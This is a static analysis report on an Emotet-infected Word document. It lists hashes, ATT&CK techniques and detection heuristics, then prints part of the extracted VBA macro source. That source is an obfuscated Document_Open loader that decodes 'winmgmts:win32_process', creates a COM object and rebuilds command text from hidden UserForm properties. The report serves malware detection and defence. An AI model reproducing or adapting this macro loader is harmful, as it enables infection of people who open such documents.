Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 367d2ef7ea1441dc…

MALICIOUS

Office (OLE)

235.8 KB Created: 2020-08-17 17:57:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: 4031a883da95cf44bb57559e7547ed97 SHA-1: d5a572929b5c609b9cc771c8f199ff89d1066f83 SHA-256: 367d2ef7ea1441dcde2fc0753659e679ada7edfbc17a2a0501123ba0d39ee926
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains VBA macros, including a Document_Open auto-execution macro and a hidden UserForm command stager. This combination is characteristic of Emotet's initial infection vector, which typically involves downloading and executing a secondary payload. The ClamAV detection further supports the Emotet family attribution.

Heuristics 7

  • ClamAV: Doc.Malware.Emotet-9370794-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emotet-9370794-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10242 bytes
SHA-256: 0283a046b9f910b9528673dbfedcea19f0fa6732e36da9f3cba6a27adfb9ce64
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "G2ug9qm2fjdz"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
L15izinvysg.Msjcyr44kc3b1_y
End Sub


Attribute VB_Name = "L15izinvysg"
Attribute VB_Base = "0{E3FA8A5D-7CDA-48A9-B106-D8B19BE5A0C0}{F81881A0-502F-4FC8-AB9A-E75B3D4FA358}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Msjcyr44kc3b1_y()
   If 791639 <> 777579 Then
Fxgqgxx5ctd4soe = 791639 + 1989
C1cn26_9tn797 = 777579 - 2013
Else
InputBox (CStr(Fxgqgxx5ctd4soe) & CStr(C1cn26_9tn797))
End If
C1cn26_9tn797 = "KAjamLNcTV"
Wmcb0e9j71ttbm8m3 = 623691
Dlmoegxfsxbk42jk5y = Dlmoegxfsxbk42jk5y & CStr(Wmcb0e9j71ttbm8m3)
Wqchr8loxxwobb2fs = Dlmoegxfsxbk42jk5y
Yjt23uawghl9 = L15izinvysg.HelpContextId + 100
   If 791639 <> 777579 Then
Fxgqgxx5ctd4soe = 791639 + 1989
C1cn26_9tn797 = 777579 - 2013
Else
InputBox (CStr(Fxgqgxx5ctd4soe) & CStr(C1cn26_9tn797))
End If
C1cn26_9tn797 = "KAjamLNcTV"
Wmcb0e9j71ttbm8m3 = 623691
Dlmoegxfsxbk42jk5y = Dlmoegxfsxbk42jk5y & CStr(Wmcb0e9j71ttbm8m3)
Wqchr8loxxwobb2fs = Dlmoegxfsxbk42jk5y
J34i8fqey46 = ChrW(Yjt23uawghl9 + (100 + 35) / 9)
   If 791639 <> 777579 Then
Fxgqgxx5ctd4soe = 791639 + 1989
C1cn26_9tn797 = 777579 - 2013
Else
InputBox (CStr(Fxgqgxx5ctd4soe) & CStr(C1cn26_9tn797))
End If
C1cn26_9tn797 = "KAjamLNcTV"
Wmcb0e9j71ttbm8m3 = 623691
Dlmoegxfsxbk42jk5y = Dlmoegxfsxbk42jk5y & CStr(Wmcb0e9j71ttbm8m3)
Wqchr8loxxwobb2fs = Dlmoegxfsxbk42jk5y
W8ohf23b9fy0lo5xk4 = "8[2[23bjgas ooo82&jhsb uqgw[[[ww2s8[2[23bjgas ooo82&jhsb uqgw[[[ww2sw8[2[23bjgas ooo82&jhsb uqgw[[[ww2si8[2[23bjgas ooo82&jhsb uqgw[[[ww2snm8[2[23bjgas ooo82&jhsb uqgw[[[ww2s8[2[23bjgas ooo82&jhsb uqgw[[[ww2sgm8[2[23bjgas ooo82&jhsb uqgw[[[ww2st8[2[23bjgas ooo82&jhsb uqgw[[[ww2s8[2[23bjgas ooo82&jhsb uqgw[[[ww2s" + J34i8fqey46 + "8[2[23bjgas ooo82&jhsb uqgw[[[ww2s8[2[23bjgas ooo82&jhsb uqgw[[[ww2s:8[2[23bjgas ooo82&jhsb uqgw[[[ww2sw8[2[23bjgas ooo82&jhsb uqgw[[[ww2sin8[2[23bjgas ooo82&jhsb uqgw[[[ww2s8[2[23bjgas ooo82&jhsb uqgw[[[ww2s38[2[23bjgas ooo82&jhsb uqgw[[[ww2s28[2[23bjgas ooo82&jhsb uqgw[[[ww2s_8[2[23bjgas ooo82&jhsb uqgw[[[ww2s" + L15izinvysg.M6jorxst1pixhnb5g3 + "8[2[23bjgas ooo82&jhsb uqgw[[[ww2sro8[2[23bjgas ooo82&jhsb uqgw[[[ww2s8[2[23bjgas ooo82&jhsb uqgw[[[ww2sce8[2[23bjgas ooo82&jhsb uqgw[[[ww2ss8[2[23bjgas ooo82&jhsb uqgw[[[ww2ss8[2[23bjgas ooo82&jhsb uqgw[[[ww2s"
   If 791639 <> 777579 Then
Fxgqgxx5ctd4soe = 791639 + 1989
C1cn26_9tn797 = 777579 - 2013
Else
InputBox (CStr(Fxgqgxx5ctd4soe) & CStr(C1cn26_9tn797))
End If
C1cn26_9tn797 = "KAjamLNcTV"
Wmcb0e9j71ttbm8m3 = 623691
Dlmoegxfsxbk42jk5y = Dlmoegxfsxbk42jk5y & CStr(Wmcb0e9j71ttbm8m3)
Wqchr8loxxwobb2fs = Dlmoegxfsxbk42jk5y
Ovga8hzkmqcg = Omlk0fw5zw8osdp(W8ohf23b9fy0lo5xk4)
   If 791639 <> 777579 Then
Fxgqgxx5ctd4soe = 791639 + 1989
C1cn26_9tn797 = 777579 - 2013
Else
InputBox (CStr(Fxgqgxx5ctd4soe) & CStr(C1cn26_9tn797))
End If
C1cn26_9tn797 = "KAjamLNcTV"
Wmcb0e9j71ttbm8m3 = 623691
Dlmoegxfsxbk42jk5y = Dlmoegxfsxbk42jk5y & CStr(Wmcb0e9j71ttbm8m3)
Wqchr8loxxwobb2fs = Dlmoegxfsxbk42jk5y
Set Zivt8wj8arg63v7z_ = CreateObject(Ovga8hzkmqcg)
   If 791639 <> 777579 Then
Fxgqgxx5ctd4soe = 791639 + 1989
C1cn26_9tn797 = 777579 - 2013
Else
InputBox (CStr(Fxgqgxx5ctd4soe) & CStr(C1cn26_9tn797))
End If
C1cn26_9tn797 = "KAjamLNcTV"
Wmcb0e9j71ttbm8m3 = 623691
Dlmoegxfsxbk42jk5y = Dlmoegxfsxbk42jk5y & CStr(Wmcb0e9j71ttbm8m3)
Wqchr8loxxwobb2fs = Dlmoegxfsxbk42jk5y
C45r0peqacfy = L15izinvysg.Z3eehqhl5pztgm3a.ControlTipText
   If 791639 <> 777579 Then
Fxgqgxx5ctd4soe = 791639 + 1989
C1cn26_9tn797 = 777579 - 2013
Else
InputBox (CStr(Fxgqgxx5ctd4soe) & CStr(C1cn26_9tn797))
End If
C1cn26_9tn797 = "KAjamLNcTV"
Wmcb0e9j71ttbm8m3 = 6236
... (truncated)

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